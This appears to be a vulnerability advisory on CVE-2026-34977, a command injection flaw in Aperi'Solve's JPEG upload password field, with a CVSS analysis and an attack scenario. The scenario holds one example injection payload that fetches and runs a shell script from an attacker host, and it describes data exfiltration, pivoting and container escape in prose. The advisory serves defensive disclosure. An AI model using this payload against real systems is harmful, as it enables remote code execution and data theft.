Docker CVE-2026-34977

No special conditions — remote unauthenticated exploitation against default installations of Aperi'Solve versions prior to 3.2.1. Attacker submits HTTP request to JPEG upload endpoint with malicious bash command injected in optional password field.

This vulnerability presents critical real-world risk with multiple aggravating factors converging. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) indicates network-accessible exploitation requiring no authentication, no user interaction, and low attack complexity-the most dangerous combination. CVSS 9.3 reflects high impact across confidentiality, integrity, and availability in both vulnerable and subsequent systems (VC:H/VI:H/VA:H/SC:L/SI:L/SA:L). Publicly available exploit code exists through the GitHub security advisory GHSA-8r22-62p7-9jrp, which provides technical details including the vulnerable code path and proof-of-concept exploitation guidance. No public exploit identified at time of analysis through CISA KEV, but the barrier to weaponization is extremely low given the detailed advisory and simple exploit primitive (password field injection). The vulnerability is fully automatable-no complex preconditions, race conditions, or information disclosure requirements. Real-world risk is amplified by the containerized architecture: immediate root-level container compromise provides access to all uploaded images and steganography passwords on disk, pivot opportunities to unauthenticated PostgreSQL/Redis services enable database exfiltration and job queue manipulation affecting all users, and environments with Docker socket mounts face potential host escape. This is a genuine critical-priority issue, not inflated CVSS-the attack surface (public web upload), exploit simplicity (single HTTP request), and impact scope (multi-tenant data breach, infrastructure pivot) justify urgent remediation for any internet-facing deployment.

An unauthenticated remote attacker accesses the public Aperi'Solve web interface and uploads a JPEG file via the standard upload form. In the optional password field intended for steganography extraction, the attacker enters a malicious payload such as '; curl attacker.com/shell.sh | bash #' which breaks out of the expect command context. When the worker container processes this upload, the unsanitized password is interpolated into bash -c execution, resulting in arbitrary command execution as root within the container. The attacker immediately establishes persistence, exfiltrates all stored steganography passwords and uploaded images from disk, then pivots to the unauthenticated PostgreSQL database to dump user data and analysis results. By manipulating the Redis job queue, the attacker poisons results for legitimate users, potentially embedding malicious content in analysis outputs. In environments where the Docker socket is mounted into containers (common in CI/CD or development setups), the attacker escapes to the host system achieving full infrastructure compromise. Publicly available exploit code exists, making exploitation trivial for opportunistic attackers scanning for vulnerable instances.